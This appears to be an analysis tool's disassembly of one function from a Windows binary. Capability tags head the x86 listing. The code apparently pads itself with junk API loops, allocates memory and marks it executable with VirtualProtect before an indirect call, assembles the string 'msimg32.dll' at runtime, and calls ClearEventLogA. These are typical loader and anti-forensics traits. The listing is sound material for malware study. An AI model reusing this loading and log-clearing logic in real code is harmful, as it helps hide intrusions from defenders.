Function at 0x80aec0
Capabilities:
Access the windows event log
Allocate or change rwx memory
Clear windows event logs
Execute shellcode via indirect call
Get common file path
Get disk information
Manipulate console buffer
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1e48
call fcn.00412100
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d1ba
jge 0x80aef6
push 0
push 0
push 0
call edi
cmp dword [0xb993e4], 0x6fb
jne 0x80af08
push 0
push 0
call ebx
cmp esi, 0x1e9c80c8
jle 0x80af22
cmp ebp, 0xc0be5a
je 0x80af22
cmp dword [esp + 0x4c], 0x9250f50
jne 0x80af2d
inc esi
cmp esi, 0x8a8ec
jl 0x80aee6
jmp 0x80af4b
cmp dword [0xb993e4], 0x28
jne 0x80af4b
push 0x403f5c
push 0x403f68
push 0x403f74
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0xb993e4], 0xcf8
jne 0x80afa7
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
cmp dword [0xb993e4], 0x3a
jne 0x80af8a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
lea ecx, [esp + 0x258]
push ecx
push 0
push 0x403f88
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
push 0
call fcn.00407468
add esp, 8
lea edx, [esp + 0x68]
push edx
call fcn.00405590
push 0
call fcn.00407891
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
xor esi, esi
jmp 0x80afc0
cmp esi, 0x408
jne 0x80afd3
mov eax, 0x5d1
add dword [0xb993e4], eax
cmp dword [0xb993e4], 0xca3
jne 0x80b002
push 0
push 0
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push 0x403fcc
push eax
mov dword [esp + 0x28], eax
call ebp
push 0
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x80afc0
mov ecx, dword [0xb993e4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x81a434], eax
mov eax, dword [0xb993e4]
xor esi, esi
test eax, eax
je 0x80b0f3
mov ebp, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov edi, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
cmp eax, 0xfe
jne 0x80b0a6
push 0
lea edx, [esp + 0x65c]
push edx
call ebp
push 0
push 0
call ebx
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
lea ecx, [esp + 0x264]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
push edx
lea eax, [esp + 0x44]
push eax
push 0x403fdc
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.0080a980
mov eax, dword [0xb993e4]
cmp eax, 0x29
jne 0x80b0ea
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
lea ecx, [esp + 0x260]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push 0
push 0
call edi
mov eax, dword [0xb993e4]
inc esi
cmp esi, eax
jb 0x80b040
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov edi, 0x9682ab
mov edi, edi
cmp eax, 3
jne 0x80b118
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0xb993e4]
dec edi
jne 0x80b100
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomA]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [esp + 0x14], 0x25887
mov ebx, 0xabebc05c
lea ebx, [ebx]
mov dword [0xb993e0], ebx
cmp eax, 0x222
jne 0x80b173
push 0x404018
call esi
push 0
lea edx, [esp + 0x65c]
push edx
call edi
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
mov eax, dword [0xb993e4]
dec dword [esp + 0x14]
jne 0x80b140
mov edx, dword [0x81a434]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x8156a0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080aca0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.GDI32.dll_GetCharWidthFloatW]
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor esi, esi
mov edi, edi
cmp dword [0xb993e4], 0xba
jne 0x80b1ed
lea eax, [esp + 0x18]
push eax
call edi
push 0
push 0
push 0
push 0
call ebp
push 0
push 0
call ebx
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push 0x404034
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x80b210
mov eax, 0
add dword [0x81a434], eax
inc esi
cmp esi, 0x1605a
jl 0x80b1b0
mov eax, 0x6d
mov word [0xb993ee], ax
mov eax, 0x6c
mov word [0xb993fc], ax
mov edx, 0x69
xor eax, eax
push 0xb993e8
mov dword [0xb993f8], 0x6c0064
mov dword [0xb993f4], 0x2e0032
mov word [0xb993ec], dx
mov dword [0xb993e8], 0x73006d
mov word [0xb993fe], ax
mov dword [0xb993f0], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0xb993ea], dx
mov word [0xb993ee], ax
xor eax, eax
cmp dword [0xb993e4], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0xb993f2], cx
mov word [0xb993fe], ax
mov word [0xb993f0], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0xb993f8], 0x6c0064
mov word [0xb993ec], ax
mov word [0xb993e8], cx
mov word [0xb993fc], dx
mov dword [0xb993f4], 0x2e0032
jne 0x80b3f5
mov edx, dword [esp + 0x18]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x118]
push eax
push 0x40405c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
lea edx, [esp + 0x25c]
push edx
push 0x404068
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push 0
call dword [sym.imp.KERNEL32.dll__lclose]
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0x664]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea edx, [esp + 0xe5c]
push edx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x4c]
push edx
lea eax, [esp + 0x44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0x404090
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
lea ecx, [esp + 0x165c]
push ecx
push 0x4040ac
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x4040d4
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret